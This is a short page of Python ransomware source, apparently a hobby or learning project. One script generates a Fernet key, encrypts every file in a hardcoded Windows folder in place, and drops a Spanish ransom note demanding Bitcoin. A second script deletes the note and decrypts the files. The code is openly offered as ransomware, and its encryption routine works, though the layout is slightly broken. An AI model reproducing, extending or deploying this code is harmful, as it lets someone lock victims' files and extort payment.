ransonware-python

```python
from cryptography.fernet import Fernet
import os

def generarkey():
    key = Fernet.generate_key()
    with open("key.key", "wb") as key_file:
        key_file.write(key)
def retornarkey():
    return open("key.key", "rb").read()
def encryp(items, key):
    i = Fernet(key)
    for x in items:
        with open(x, "rb") as file:
            file_data = file.read()
        data = i.encrypt(file_data)
        with open(x, "wb") as file:
            file.write(data)
if __name__ == "__main__":

    archivos ='C:\\Users\\Usuario\\Desktop\\secreto\\info'
    items = os.listdir(archivos)
    archivo_2=[archivos+"\\"+x for x in items]
generarkey()
key = retornarkey()
encryp(archivo_2,key)
with open(archivos+"\\"+"readme.txt", "w") as file:
    file.write("Archivos encriptados\n")
    file.write("Deposite su Bitcoin para liberar la info")
```

```python
def retornarkey():
    return open("key.key", "rb").read()
def decrypt(items, key):
    i = Fernet(key)
    for x in items:
        with open(x, "rb") as file:
            file_data = file.read()
        data = i.decrypt(file_data)
        with open(x, "wb") as file:
            file.write(data)
if __name__ == "__main__":

    archivos ='C:\\Users\\Usuario\\Desktop\\secreto\\info'
    os.remove(archivos+"\\"+"readme.txt")
    items = os.listdir(archivos)
    archivo_2=[archivos+"\\"+x for x in items]

key = retornarkey()
decrypt(archivo_2,key)
```